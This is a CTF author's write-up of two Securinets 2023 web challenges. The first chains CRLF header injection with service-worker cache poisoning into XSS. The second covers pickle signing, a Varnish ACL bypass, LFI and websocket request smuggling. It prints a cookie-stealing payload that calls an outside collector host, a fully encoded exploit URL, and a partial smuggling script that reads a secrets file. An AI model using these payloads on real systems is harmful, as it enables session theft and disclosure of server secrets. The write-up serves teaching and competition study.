Securinets CTF QUALS 2K23 - WEB

2023-08-08

Securinets Quals 2023 WEB

0 CSP ( 11 solves)

0CSP

Attachement: app.py
Challenge link: escape.nzeros.me

In this challenge the goal is to execute arbitrary JS code in the context of the browser client user. As XSS proof of concept, player should exfiltrate the admin cookie.

Application architecture

Overview

At first, let’s explain the non standard architecture of the application since a lot of players failed at understanding the communication between the front end and the backend:

  1. Front-end: Static files (html / js) are served through escape.nzeros.me and are fully accessible by the user browser:

    /
    /helloworld
    /securinets

After opening the url, we can check the client side code for the home page.

The browser register a service worker for the web application with user supplied input. But what the hell is that service worker ?

1
2
3
4
5
6
const reg = await navigator.serviceWorker.register(
            `sw.js?user=${params.get("user") ?? 'stranger'}`,
            {
              scope: './',
            }
          );

we will explain this later in this writeup. All we know for now from the screenshot above that there’s a file called sw.js. Let’s give it a look.


Without diving a lot in function content, let’s see what the code can reveal:

1
2
3
const params = new URLSearchParams(self.location.search)
const userId = params.get("user")
const serverURL = `https://testnos.e-health.software/GetToken?userid=${userId}`;
  • There’s interaction with backend api url with a supplied user controlled data.
    1
    const putInCache = async (request, response) => {..}
  • Is there some caching mechanism ?

For now, we are just presenting the architecture of application so let’s move to the second part in architecture:

  1. Backend Server API:

    https://testnos.e-health.software/

You can see in the attachement file, the source code of the backend api file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import os
import re
from flask import Flask, request, jsonify, escape
import random
import string

import requests

app = Flask(__name__)
url = os.environ.get("URL_BOT")

user_tokens = {}
headers = {
    'Access-Control-Allow-Origin': '*',
    'Access-Control-Allow-Methods': 'POST, GET, OPTIONS',
    'Access-Control-Allow-Headers': ' *',
    'Access-Control-Max-Age': '3600',
}


def use_regex(input_text):
    pattern = re.compile(r"https://escape.nzeros.me/", re.IGNORECASE)
    return pattern.match(input_text)


def generate_token():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=12))




@app.route('/reporturl', methods=['POST', 'OPTIONS'])
def report():
    if request.method == "OPTIONS":
        return '', 200, headers
    if request.method == "POST":
        link = request.form['link']
        if not use_regex(link):
            return "wrong url format", 200, headers

        obj = {'url': link}
        # send to bot
        x = requests.post(url, json=obj)
        if (x.content == b'OK'):
            return "success!", 200, headers

    return "failed to visit", 200, headers


@app.route('/GetToken', methods=['GET', 'OPTIONS'])
def get_token():

    if request.method == "OPTIONS":
        return '', 200, headers

    try:
        new_header: dict[str, str | bytes] = dict(headers)
        userid = request.args.get("userid")

        if not userid:
            return jsonify({'error': 'Missing userid'}), 400, headers

        if userid in user_tokens:
            token = user_tokens[userid]
        else:
            token = generate_token()
            user_tokens[userid] = token
        new_header["Auth-Token-" +
                   userid] = token

        return jsonify({'token': token, 'user': str(escape(userid))[:110]}), 200, new_header

    except Exception as e:
        return jsonify({'error': f'Something went wrong {e}'}), 500, headers


@app.route('/securinets', methods=['GET', 'OPTIONS'])
def securinets():

    if request.method == "OPTIONS":
        return "", 200, headers
    token = None
    for key, value in request.headers.items():
        if 'Auth-Token-' in key:
            token_name = key[len('Auth-Token-'):]
            token = request.headers.get('Auth-Token-'+token_name)

    if not token:
        return jsonify({'error': 'Missing Auth-Token header', }), 401, headers

    if token in user_tokens.values():
        return jsonify({'message': f'Welcome to Securinets. {token_name}'}), 200, headers
    else:
        return jsonify({'error': 'Invalid token or user not found'}), 403, headers


if __name__ == '__main__':
    app.run(host="0.0.0.0", port="5000", debug=False)

Explaining Service Worker

1) Purpose:

Service Workers, are a type of Web Worker that run in the background of the browser in a single sandboxed thread , separate from the window context, and handle tasks like:
Network requests :
Service Workers can intercept and handle network requests, allowing you to control how requests are made and responses are handled.
Caching:
Service Workers are often used to implement caching strategies to improve the performance of web applications. In this challenge, I used the well know simple cache-first strategy to serve cached content if available, or fetch from the network and cache the response if not.
Push notifications:
An effective example of push notification use is when you get disconnected from the internet and a notification pops-up (case of facebook for example) to indicate that you’re gone offline.

These service workers are granted specific privileges, including the ability to manipulate HTTP traffic, in order to manage such features effectively. Consequently, they are meticulously designed with a strong focus on security.

What you should know is that Service worker is registred in the browser through navigator.serviceWorker.register() and they run in a separate thread, in a sandboxed context. Communication with the DOM and service worker can be at registration of the service worker through query param, for example when registering sw.js?user=aaa , after the creation of the service worker, user=aa is available through the SW api self.location.serch(). Otherwise the DOM can communicate with SW through PostMessage API: The postMessage method allows communication between a Service Worker and the DOM. The DOM can send messages to a Service Worker, and vice versa. This can be used to exchange data or trigger actions between the two.

2) SW From a programming perspective:

  • A service worker is an event-driven worker registered against an origin and a path. It takes the form of a JavaScript file that can control the web-page/site that it is associated with:

    Main events (more are available in documentation):
    Install Event: This occurs once when a service worker is initially executed. Websites can use the install event to perform tasks like caching resources. Event handlers like fetch, push, and message can be added to the service worker during installation to control network traffic, manage push messages, and facilitate communication.
    Activate Event: Dispatched when an installed service worker becomes fully functional. Once activated, its event handlers are ready to handle corresponding events. The service worker operates until it goes idle, which happens after a short period when the main page is closed. Ongoing tasks freeze until reactivated, often triggered by events like a push message arrival.

  • To use a service worker, you need to register it in your web application. This is typically done in your main JavaScript file using the navigator.serviceWorker.register() method.
  • Service workers have a lifecycle that includes events like install, activate, and fetch. These events allow you to control how the service worker behaves and interacts with the application.
  • Service workers have a specific scope that defines which pages they control. The scope is determined when you register the service worker and can control all pages on a domain or a specific path.
  • Service workers require a secure context (HTTPS) to function in most modern browsers. That’s why in this task we use https in order to serve the front, and to avoid mixing content, backend api is also served through https.
  • Debugging service workers can sometimes be challenging due to their background nature. Browser developer tools provide tools for inspecting service workers, viewing console output, and testing different scenarios.

    Google Chrome: chrome://inspect/#service-workers
    Firefox: about:debugging#workers

3) Behaviour of Service Worker in this challenge:

3.1) Registration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const ServiceWorkerReg = async () => {
      console.log("[ServiceWorkerReg] enter")
      if ('serviceWorker' in navigator) {
        console.log("[ServiceWorkerReg] serviceworker in navigator")
        try {
          const params = new URLSearchParams(window.location.search);
          console.log("[ServiceWorkerReg] registering")

          const reg = await navigator.serviceWorker.register(
            `sw.js?user=${params.get("user") ?? 'stranger'}`,
            {
              scope: './',
            }
          );
          loaded = true;
          console.log("[ServiceWorkerReg] registered")
          console.log(reg)
          if (reg.installing) {
            console.log('Service worker installing');
          } else if (reg.waiting) {
            console.log('Service worker installed');
          } else if (reg.active) {
            console.log('Service worker active');
          }
        } catch (error) {
          console.error(`Registration failed with ${error}`);
        }
      }
      else {
        console.log("browser doesn't support sw")
      }
    };

    console.log("app.js")
    ServiceWorkerReg();
  • escape.nzeros.me/?user=a –> sw.js?user=a will be registred.
  • otherwise if you simply visit escape.nzeros.me/ –> sw.js?user=stranger is registred.

This approach is gaining popularity and is being commonly employed by websites to ensure proper initialization of service workers for visitors. The reason behind this trend is the inherent constraint of service workers, which prevents them from directly accessing document context details. As a result, websites are incorporating search parameters during the service worker registration to effectively transmit the required data.

3.2) Event handlers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
self.addEventListener('install', (event) => {
  event.waitUntil(async () => {
    await addResourcesToCache([
      './',
      './index.html',
      './style.css',
      './app.js',
      './securinets.html',
      './helloworld.html',
      './purify.js',
      './securinets.png',
    ])
  }
  );
});

When the installation event occurs, the mentioned assets are being cached

1
2
3
4
5
6

const addResourcesToCache = async (resources) => {
  const cache = await caches.open('v1');

  await cache.addAll(resources);
};

you can use caches.delete(“v1”) from console in order to delete the cache.

1
2
3
4
5
6
7
8
9
10
11
12
13
self.addEventListener('fetch', (event) => {
  let req = null
  if (event.request.url.endsWith('/GetToken')) {
    req = new Request(serverURL, event.request)
  }
  event.respondWith(
    cacheFirst({
      request: req ?? event.request,
      preloadResponsePromise: event.preloadResponse,
      fallbackUrl: './securinets.png',
    })
  );
});

As the service worker behaves as a proxy between the document context and the server, when the document initiates any fetch event, the request will pass to CacheFirst() function which will follow the already mentioned strategy simple cache-first strategy to serve cached content if available, or fetch from the network and cache the response if not. SW is initiating himself a fetch to backend api /GetToken using the function getToken() and that doesn’t trigger the fetch event as it’s initiated from SW not from Document, as a result I added a juicy cache for that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const cacheFirst = async({request, preloadResponsePromise, fallbackUrl})=>{
    if ((request.url.indexOf('http') === -1))
        return;
    const responseFromCache = await caches.match(request);
    if (responseFromCache) {
        return responseFromCache;
    }

    const preloadResponse = await preloadResponsePromise;
    if (preloadResponse) {

        console.info('using preload response', preloadResponse);
        putInCache(request, preloadResponse.clone());
        return preloadResponse;
    }

    try {

        const token = await getToken()
        const responseFromNetwork = await fetchDataWithToken(token, request.clone());
        putInCache(request, responseFromNetwork.clone());
        return responseFromNetwork;

    } catch (error) {
        console.log(error)
        const fallbackResponse = await caches.match(fallbackUrl);
        if (fallbackResponse) {
            return fallbackResponse;
        }
        return new Response('Network error happened',{
            status: 408,
            headers: {
                'Content-Type': 'text/plain'
            },
        });
    }
}

If the request is new and not yet cached, this block will be executed

1
2
3
4
5
6
try {
        const token = await getToken()
        const responseFromNetwork = await fetchDataWithToken(token, request.clone());
        putInCache(request, responseFromNetwork.clone());
        return responseFromNetwork;
    }

Now it’s clear that there’s an authentication mechanism, SW is requesting a token from server to append it to any request. There’s no cookie stored and the client doesn’t store authentication fingerprint in the client document. This is known as very secure architecture, unless flawed :p Even if you get XSS in application that uses this strategy, you can’t steal session*, if the server updates frequently the token.

  • *unless you hijack the service worker itself. Note that service worker can import external scripts using importScripts() API . Remember the user query param passed to sw.js, if that was passed to importScripts then potentially you can make the sw fetch whatever you want.

Check This article for more informations about this modern secured architecture, kudos to mercari engineering team for the great article.

3.3) Service Worker persistence

Service worker persistence refers to the ability of a service worker to remain active and functional even after the user closes the web page or navigates away from it. This persistence allows the service worker to continue working in the background, handling tasks such as caching and intercepting network requests, which enables features like offline access, faster loading times, and better performance.

Because service workers can operate independently of the actual web page, they can continue to process events and respond to requests even when the user is not actively interacting with the website. This makes them a powerful tool for creating progressive web applications (PWAs) and improving the user experience by providing seamless interactions, even in challenging network conditions.

Some players were complaining about the non given source code of the bot and they thought that i forced the cache and i should mention that you can interact with the bot twice, indeed, in my humble opinion if you search for sw persistence in the browser you’ll conclude that you can feed the bot more than once. Btw i used this as a bot and didn’t make my own custom one.

Backend API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

@app.route('/GetToken', methods=['GET', 'OPTIONS'])
def get_token():

    if request.method == "OPTIONS":
        return '', 200, headers

    try:
        new_header: dict[str, str | bytes] = dict(headers)
        userid = request.args.get("userid")

        if not userid:
            return jsonify({'error': 'Missing userid'}), 400, headers

        if userid in user_tokens:
            token = user_tokens[userid]
        else:
            token = generate_token()
            user_tokens[userid] = token
        new_header["Auth-Token-" +
                   userid] = token

        return jsonify({'token': token, 'user': str(escape(userid))[:110]}), 200, new_header

    except Exception as e:
        return jsonify({'error': f'Something went wrong {e}'}), 500, headers

Secure part:

Remember that the userid is user controlled field, this route sanitize the content of that field before returning the response using escape:
return jsonify({'token': token, 'user': str(escape(userid))[:110]}), 200, new_header
The front end /helloworld will parse the json and reflects the html escaped userid.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const endpointUrl = 'https://testnos.e-health.software/GetToken';

        fetch(endpointUrl)
            .then(response => {
                if (!response.ok) {
                    throw new Error(`Network response was not ok: ${response.status}`);
                }
                return response.json();
            })
            .then(data => {
                console.log('Parsed JSON data:', data);
                var token = data['token']
                var user = data['user']
                //const clean = DOMPurify.sanitize(user)
                document.body.innerHTML = "hey " + user + " this is your token: " + token
            })
            .catch(error => {
                console.error('Fetch error:', error);
            });

Juicy part

1
new_header["Auth-Token-"  + userid] =  token

The user controlled input userid is concatenated to “Auth-Token-“ and gets back as http header response
return jsonify({'token': token, 'user': str(escape(userid))[:110]}), 200, new_header

CRLF ?? but WAIT !? doesn’t the application server sanitize the new line return in headers by default ?!! isn’t that a security issue ? should the developer sanitize that manually ? Indeed, all modern application servers did that sanitization. Here flask use Werkzeug 2.3.6 latest version. This CRLF issue was raised older version, back in 2019 about new line returns and was solved by werkzeug developers:
https://github.com/pallets/werkzeug/issues/1080

Their implemented solution make sanitization only in the Value of the header, BUT NOT the KEY.
https://github.com/pallets/werkzeug/blob/41b74e7a92685bc18b6a472bd10524bba20cb4a2/src/werkzeug/datastructures/headers.py#L513

Good for me, i can write a CTF task without forcing crlf injection!

Solution

1
2
{"token":"<script></script>",
"user":"<img src='' onerror=fetch('https://eoi92oaut1x2gm5.m.pipedream.net/?f='+document.cookie)>"}

This will make /hellowrold retrive our XSS when performing json parsing to reflect the value of token (supposed to be sanitized by backend)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const endpointUrl = 'https://testnos.e-health.software/GetToken';

        fetch(endpointUrl)
            .then(response => {
                if (!response.ok) {
                    throw new Error(`Network response was not ok: ${response.status}`);
                }
                return response.json();
            })
            .then(data => {
                console.log('Parsed JSON data:', data);
                var token = data['token']
                var user = data['user']
                //const clean = DOMPurify.sanitize(user)
                document.body.innerHTML = "hey " + user + " this is your token: " + token
            })
            .catch(error => {
                console.error('Fetch error:', error);
            });

You should tripple url encode, as it passes 2 times by URLSearchParams get that performs url decode when registring SW, and when retriving query param in sw.js

Payload

1
escape.nzeros.me/?user=%25253A%25252Bdmanaslem%25250A%25250A%25250A%25257B%252522token%252522%25253A%252522%25253Cscript%25253E%25253C%25252Fscript%25253E%252522%25252C%25250A%252522user%252522%25253A%252522%25253Cimg%252520src%25253D%252527%252527%252520onerror%25253Dfetch%252528%252527https%25253A%25252F%25252Feoi92oaut1x2gm5.m.pipedream.net%25252F%25253Ff%25253D%252527%25252Bdocument.cookie%252529%25253E%252522%25257D%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25250A%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25250A%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25250A%25250A%25250A

This will trigger the registration of service worker sw.js?user=payload
then, after the SW initiates for the first time a request to Backend api /GetToken?userid=PAYLOAD , the Backend will respond with splitted request, with overwriten above json. The response get cached. a call to /helloworld will trigger the XSS.

When receiving a splitted response, the browser truncate the response based on the content length, I added a lot of pad with white spaces to ensure that browser can deal with our newly crafted malicious json.

Do you remember the persistence of SW mentioned above ? Now you can send your crafted payload to the bot, the service worker will persists even after he closes the page. Send him second link to /helloworld to trigger the XSS.

Securinets{Great_escape_with_Crlf_in_latest_werkzeug_header_key_&&_cache_poison}

Check this great writeup for this 0 CSP made by ARESx team && this one made by Bi0s team to see the solution from a player perspective.

Bonus (out of the scope of the challenge)

For the service worker, I said that it cannot communicate with Document, so it has no access to the document cookie. That was the case for long time, until CookieStore API was released. Now SW can set, delete, read & write cookies.

Since CookieStore() is async, a good race condition read & write is addressed Here that may be a good subject of a future ctf task. (All yours).

Mark4Archive (5 solves)

mark4archive

Attachement: Challenge.zip
Challenge link: 20.197.61.105

Scenario

IDEA


As mentioned you can give you repo credential and it will be downloaded by the server, analyzed and a generated vulnerability report will be served. You can check instructions to see how to retrive the appropriate token.

When designing the task I thought about adding a part where the uploaded code will be parsed and treated by CodeQl querries and the generated report will be real one, but that will be computationally heavy for the infra so I made a dummy report

Analysis

There’s a backend and Varnish which is a used for caching and act as reverse proxy between the client and backend server.

After hitting the submit button we get the following in burp history

I just realized one more thing now when writing the writeup ! i didn’t update the client side to initialize a socket connection with the backend in the remote, i left it localhost ! I don’t want to fake it in the writeup and that doesn’t bother or influence the solution. Regarding The socket connection, we can understand it from the code in “app.py” when checking the route /echo , I basically implemented a simple progress bar logic when the upload occurs. BTW if the player starts the challenge locally he’ll notice that progress bar appear in the front.

To keep it short when hitting submit button there’s a request to /echo for socket communication in order to display progress bar + /anlalyze to deal with the main logic of the upload so let’s tackle that first,
/analyze route from analyze.py file :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
 import fnmatch
import hashlib
import hmac
import pickle
import random
import os
import re
import shutil
import zipfile
from flask import Blueprint, request
import requests
from template import DUMMY_CodeQL_BODY, DUMMY_CodeQL_HEADER, BODY_CONTENT, SNIPPET
from config.config import SECRET
TMP_SECRET=SECRET

if os.path.exists("config/config.py"):
    os.remove("config/config.py")


analyze_bp = Blueprint('analyze', __name__)
def func_format(dict):
    return DUMMY_CodeQL_BODY.format(**dict)


def UnzipAndSave(url, repo_name, username, dir):
    response = requests.get(url)
    if response.status_code == 200:
        zip_hash = hashlib.sha256(
            str(response.content).encode('utf-8')).hexdigest()
        if not os.path.exists(dir):
            os.makedirs(dir)
            os.makedirs(f"{dir}/{zip_hash}")
        filename = f'{dir}/file_{repo_name}_{username}_{zip_hash}.zip'
        with open(filename, 'wb') as f:
            f.write(response.content)
        print('Zip file downloaded and saved to ' + filename)
        with zipfile.ZipFile(f'{filename}', 'r') as zip_ref:
            zip_ref.extractall(f"{dir}/{zip_hash}")
        os.remove(filename)
        return f"{dir}/{zip_hash}"
    else:
        print('Failed to download zip file')
        return None


def shuffle_string(input_str):
    char_list = list(input_str)
    random.shuffle(char_list)
    shuffled_str = ''.join(char_list)
    return shuffled_str


def check_input(data):
    username_regex = re.compile(
        r'^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,37}[a-zA-Z0-9]$')
    repo_regex = re.compile(
        r'^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,98}[a-zA-Z0-9]$')
    token_regex = re.compile(r'^[A-Z0-9]{29}$')
    branch_regex = re.compile(r'^[\w.-]{1,255}$')
    msg = 'valid'

    try:
        username = data['username']
        repo_name = data['repo_name']
        token = data['token']
        branch = data['branch']
        if not branch_regex.match(branch):
            msg = "invalid branch name", 400
        if not token_regex.match(token):
            msg = "invalid token", 400
        if not repo_regex.match(repo_name):
            msg = "invalid repo name", 400
        if not username_regex.match(username):
            msg = "invalid username", 400
    except:
        return "invalid data", 400
    return msg, username, repo_name, token, branch


def generateSig(data_bytes, key_bytes):
    signature = hmac.new(key_bytes, data_bytes, digestmod='sha256').hexdigest()
    return signature


def create_signed_mark(path, data):
    try:
        with open(f"{path}/mark4archive", "xb") as f:
            pickled = pickle.dumps(data)
            f.write(pickled)
            signature = bytes(generateSig(
                pickled, TMP_SECRET), "utf-8")
            f.write(signature)
            return signature
    except Exception as e:
        print("error occured: ", e)


@analyze_bp.route('/analyze', methods=['POST'])
def analyze():
    # Open your private repo, download the repo as a ZIP, from your browser go to DOWNDLOAD section and copy the link of the downloaded zip
    # example: https: // codeload.github.com/anas-cherni/thisisprivate/zip/refs/heads/main?token = ABMJT7F6YNPNCKMMBBIWO4DEHP6KG
    #token: ABMJT7F6YNPNCKMMBBIWO4DEHP6KG
    #repo_name: thisisprivate
    #username: anas-cherni
    #branch: main
    data = request.form
    isValid, username, repo_name, token, branch = check_input(data)
    if isValid != "valid":
        return isValid
    repo_url = f"https://api.github.com/repos/{username}/{repo_name}"
    repo_response = requests.get(repo_url)
    repo_data = repo_response.json()
    try:
        if not repo_data["private"]:
            return "Our policies don't allow us to analyze a public repo! please provide the one that you own", 400
    except:
        print("This is either a private or doesn't exist")

    valid_url = f"https://codeload.github.com/{username}/{repo_name}/zip/refs/heads/{branch}?token={token}"
    # unzip and save in internal folder to check the content
    dir = UnzipAndSave(valid_url, repo_name, username, "/tmp")
    if not dir:
        return "failed to download the zip", 400
    # check for a reserved file name, if it exists return an error
    for file in os.listdir(f"{dir}/{repo_name}-{branch}"):
        if fnmatch.fnmatch(file, "mark4archive"):
            return "mark4archive is reserved to our service, please choose another name for your file", 400
        try:
            with open(f"{dir}/{repo_name}-{branch}/{file}", "rb") as f:
                first_two_bytes = f.read(2)
                if first_two_bytes == b'\x80\x04':
                    return "This Beta version of the app can't handle this kind of files!", 400
        except Exception as e:
            print("error: ", e)
   
    aux = dict(BODY_CONTENT[0])
    aux["Snippet"] = aux["Snippet"].format(**{"Snippet":SNIPPET[list(SNIPPET.keys())[0]]})
    result = DUMMY_CodeQL_HEADER.format(**{
        "repo":repo_name,
        "branch":branch,
        "Id": "0",
        "File":"dummy",
        "Line":"12",
    }) + func_format(aux)

    


    # Delete the previously created folders internally
    shutil.rmtree(dir)
    # All checks done, relase to a public path
    user_access = UnzipAndSave(
        valid_url, repo_name, username, "public")
    sig = create_signed_mark(f"{user_access}/{repo_name}-{branch}", result)
    

    return "token: " +user_access.split("/")[1]


  1. Checking the input with regex to match github format of (username, github repo name, branch , token …) and constructing valid url.
  2. dir = UnzipAndSave(valid_url, repo_name, username, "/tmp") first call in order to download the repo in /tmp
  3. checking for the existence of mark4archive, as it’s reserved for the logic of the task and that will be created by the application.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    for file in os.listdir(f"{dir}/{repo_name}-{branch}"):
            if fnmatch.fnmatch(file, "mark4archive"):
                return "mark4archive is reserved to our service, please choose another name for your file", 400
            try:
                with open(f"{dir}/{repo_name}-{branch}/{file}", "rb") as f:
                    first_two_bytes = f.read(2)
                    if first_two_bytes == b'\x80\x04':
                        return "This Beta version of the app can't handle this kind of files!", 400
            except Exception as e:
                print("error: ", e)
  4. If there’s no file called mark4archive, we’re good.. we delete the repo that we put in /tmp shutil.rmtree(dir) .. and we suppose that the repo is safe so we can recall UnzipAndSave() and feed it with public folder not /tmp user_access = UnzipAndSave( valid_url, repo_name, username, "public") then we create that file “mark4archive” sig = create_signed_mark(f"{user_access}/{repo_name}-{branch}", result)

mark4archive supposed to hold informations about the repo vulnerability analysis results, in order to construct the report later. So we create that serialized file and sign it with the function create_signed_mark() . Y’all now how harm pickle can cause with deserialization so i secured the process, if you even manage to upload the file “mark4archive” with your serialized payload, you won’t make it unless you have the secret.

For now, There’s a Race Condition in the file upload, as an author, i think race conditions with sleep and threads are very consumed so i wanted to create a logic one. Since the github token lasts for few minutes and we’re using the feature of download as a zip that github offers, i want to point the following:

“You can download a snapshot of any branch, tag, or specific commit from GitHub.com. These snapshots are generated by the git archive command in one of two formats: tarball or zipball. Snapshots don’t contain the entire repository history. If you want the entire history, you can clone the repository. For more information, see “Cloning a repository.”

It’s obvious that we can download a repo twice using the same download as zip link, but it’s susy when the same token give you new snapshot if you make newer commits. In real life that doesn’t cause an issue ig.

In the context of the challenge, uploading a repo without mark4archive file will pass 1) 2) 3) points mentioned above. Making a commit to the same repo with added mark4archive will let the second call to UnzipAndSave() download internally the newer repo version in the folder “public”.

Why that much protection for mark4archive ?

Remember after a successful submit, the application returns a token, that we can use it in /makereport to generate our appropriate report pdf. Let’s get back to code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

@report_bp.route('/makereport', methods=['GET','POST'])
def MakeReport():
    if request.method == "POST":
        data = request.form
        if not data["hash"]:
            return "No hash provided"
        check = check_input(data)
        if check == "invalid input" or check == "invalid data":
            return "invalid hash", 400
        hash = data["hash"]
        path = get_repo_path(hash)        
        print("path ", path)
        if path:
            res = verify_and_unpickle(path)
            random_path = write_to_random_file(res)
            url = "http://backend:5000/api/pdf?p="+random_path
            req = requests.get(url)
            return Response(req.content, mimetype='application/pdf', headers={
        'Content-Disposition': 'attachment; filename=report.pdf'
    })

        return "error"
    elif request.method == "GET":
        return render_template("report.html"), 200
  1. Check the token , construct the path of the repo based on that token.
  2. verify_and_unpickle(path) here used to retrive mark4archive that holds info about the repo, check the signature of the file, if signed by application secret, will perform pickle.loads() and return the retrived data that will be passed to write_to_random_file() -> this function will write the content retrived from mark4archive in random file under /tmp and then give that random file to the internal api /api/pdf to generate a report.

    /api/pdf?p=PATH generates a pdf with the content of the provided PATH

1
2
3
4
5
6
7
8
9
10
11
12
13
  
@api_bp.route('/api/pdf', methods=['GET'])
def generate_pdf():
    if not request.method == "GET":
        return "invalid method"
    path = request.args.get("p")
    pdf_buffer = BytesIO()
    generate_pdf_from_file(path, pdf_buffer)
    pdf_buffer.seek(0)
    
    return Response(pdf_buffer, mimetype='application/pdf', headers={
        'Content-Disposition': 'attachment; filename=report.pdf'
    })

THIS IS WHERE I LEFT THE UNINTENDED SOLUTION UNINTENTIONALLY! /api/pdf is a piece of cake that offers Loca lFile Inclusion . Remember the varnish that acts like reverse proxy for caching purposes ? I wrote rule that make this route forbidden:

1
2
3
4
5
6
7
8
sub vcl_recv {
    # Check if the request URL matches the internal endpoint
    if (req.url ~ "sub vcl_recv {
    # Check if the request URL matches the internal endpoint
    if (req.url ~ "^/api/pdf") {
        # Respond with a 403 Forbidden status
        return (synth(403, "Forbidden - Internal Endpoint"));
    }...

I messed up here, I should’ve put “/api/pdf” instead of “^/api/pdf” which 4 out of 5 teams who solved the challenge bypassed it with “//api/pdf” and got free LFI. My bad, it was in my todo list and i thought i fixed it! It’s unethical to change a challenge after a team has found unintended way.

The intended ?
Remember that progress bar logic that was implemented in the backend ? it uses websocket to communicate with the client. I Used this config in order to allow websocket communication to pass through varnish and get forwarded to Backend:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sub vcl_recv {
...
    if (req.http.upgrade ~ "(?i)websocket") {
        return (pipe);
    }...


sub vcl_pipe {
    
    if (req.http.upgrade) {
    set bereq.http.connection = req.http.connection;
        set bereq.http.upgrade = req.http.upgrade;
    }
    return (pipe);
}

Kudos to 0ang3el that first pointed on the issue of websocket request smuggling using wrong Sec-Websocket-Version value that the reverse proxy doesn’t validate it and send it to backend. More about it here. I first tried his poc on varnish as reverse proxy and werkzeug 2.3.6 as backend server but doesn’t work for me and that was refused by the server + varnish didn’t initiate the tunnel.
Instead, If we send valid upgrade request to the backend server that includes valid headers (including a valid Sec-WebSocket-Version: 13 without tampering its value) we can trigger Varnish to return the pipe and initiate a connection: upgrade that left the connection open between the client and server for a few milliseconds Since it forwards the header Connection. Now we can leak the content of /api/pdf through websocket smuggling in the latest version of Varnish.
Here is my script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
  
import socket
import os
req1 = '''GET /echo HTTP/1.1
Host: 20.197.61.105:80
Sec-WebSocket-Version: 13
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: qsdqsdqs
New: aaasaa

'''.replace('\n', '\r\n')


req2 = '''GET /api/pdf?p=../../../../../../../usr/src/app/config/__pycache__/config.cpython-37.pyc HTTP/1.1
Host: 20.197.61.105:80

'''.replace('\n', '\r\n')




def main(netloc):
    host, port = netloc.split(':')

